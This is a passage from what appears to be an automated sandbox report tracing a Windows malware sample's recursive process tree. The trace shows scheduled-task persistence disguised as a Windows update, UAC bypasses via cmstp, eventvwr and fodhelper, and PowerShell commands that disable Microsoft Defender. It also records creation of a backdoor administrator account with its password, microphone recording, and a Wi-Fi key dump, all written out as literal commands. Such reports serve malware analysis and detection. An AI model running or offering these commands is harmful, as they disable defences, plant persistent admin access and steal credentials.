      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1892
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\723c020f-9b1d-4198-9662-02c946e62a5a.inf
      4⤵
      PID:5932
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:5812
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:5244
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:2916
    - - C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        5⤵
        
        PID:5432
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5884
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7f00c48b-c004-49d3-93e9-67e13ca82099.inf
        6⤵
        
        PID:4324
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:1124
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:5848
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:5640
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        7⤵
        
        PID:6448
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4504
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c3170daa-30b0-472a-aae6-c21cc61b6d25.inf
        8⤵
        
        PID:6812
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:2584
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:6348
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:6688
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        9⤵
        
        PID:7356
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6168
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\765b1b59-7771-4778-90d1-da8da74d16df.inf
        10⤵
        
        PID:7420
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:6608
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:6520
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:8024
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        11⤵
        
        PID:6972
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8940
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b4ab08ef-e20d-4aed-b052-96c9ef370dfe.inf
        12⤵
        
        PID:9048
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:9088
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:9116
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:7644
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        13⤵
        
        PID:9404
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10136
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\77451f07-5842-4a39-b3c7-fd84e21853f6.inf
        14⤵
        
        PID:8712
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:8688
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:8604
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:8952
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        15⤵
        
        PID:10680
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:11780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9660
        
        C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:9044
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:9888
        
        C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:11232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7596
        
        C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:6772
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:9540
        
        C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:9372
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:10076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7820
        
        C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:8508
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:9004
        
        C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:8168
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:9164
        
        C:\Windows\system32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:10308
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5076
        
        C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:7824
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:6972
        
        C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7056
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:7476
        
        C:\Windows\system32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:7516
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:5728
      - C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6956
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:3684
      - C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6424
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6600
      - C:\Windows\system32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8176
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:4956
  - - C:\Windows\system32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:5708
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:4820
  - - C:\Windows\system32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:3440
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6560
  - - C:\Windows\system32\notepad.exe
      "notepad.exe"
      4⤵
      PID:7428
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639263435386559074.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10844
  - - C:\Windows\system32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:11056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:5296
- C:\Windows\system32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:5716
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4244
- C:\Windows\system32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:448
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:2832
- C:\Windows\system32\notepad.exe
  "notepad.exe"
  2⤵
  PID:2444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639263435374527522.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:9552
- C:\Windows\system32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:10612

C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
1⤵
PID:5920
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1948
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\51de82e3-9ca1-4b06-9bec-58139335d44d.inf
  2⤵
  PID:2336
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:4804
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:1356
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:2188
- - C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
    3⤵
    PID:624
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4444
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d8bf9d72-5b6c-4bc1-a565-60f95749f651.inf
      4⤵
      PID:4736
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:3980
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:3632
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:5148
    - - C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        5⤵
        
        PID:5216
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1404
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\53026b98-2ff3-4a1d-a31b-7d6e416c7d1c.inf
        6⤵
        
        PID:5280
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:5684
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:4516
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:6200
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        7⤵
        
        PID:1596
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4536
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7704704f-a2b4-4ebf-8877-dbe00e0b5717.inf
        8⤵
        
        PID:6408
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:6216
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:6468
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:6592
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        9⤵
        
        PID:4736
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:3636
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\00eeb6ae-ad95-4766-9735-0c0b460c0de3.inf
        10⤵
        
        PID:7484
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:6392
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:7744
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:6752
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        11⤵
        
        PID:8932
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8676
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d872373a-82b3-4d47-8238-8f09212bbe3a.inf
        12⤵
        
        PID:7436
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:7368
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:9208
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:8912
        
        C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe"
        13⤵
        
        PID:9280
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacxxo.cc_new.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8540
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d1245f2b-738d-49cb-b731-4ffcd6f0853b.inf
        14⤵
        
        PID:10068
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:10032
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:8984
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:10284
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:10340
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3488
        
        C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:10092
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:6792
        
        C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:8204
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:9704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7768
        
        C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:8948
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:8628
        
        C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:6616
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:7276
        
        C:\Windows\system32\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:8596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2500
        
        C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:1824
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:6576
        
        C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:7720
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:7368
        
        C:\Windows\system32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:9860
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:6208
      - C:\Windows\system32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:5988
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:6604
      - C:\Windows\system32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6240
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:7328
      - C:\Windows\system32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:8824
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639263435399996199.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10948
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:3840
  - - C:\Windows\system32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:4684
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:6324
  - - C:\Windows\system32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:6904
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:2488
  - - C:\Windows\system32\notepad.exe
      "notepad.exe"
      4⤵
      PID:5980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:920
- C:\Windows\system32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:4864
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:5316
- C:\Windows\system32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:4696
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:5080
- C:\Windows\system32\notepad.exe
  "notepad.exe"
  2⤵
  PID:4316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639263435374215353.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:10020
- C:\Windows\system32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:10464

Network

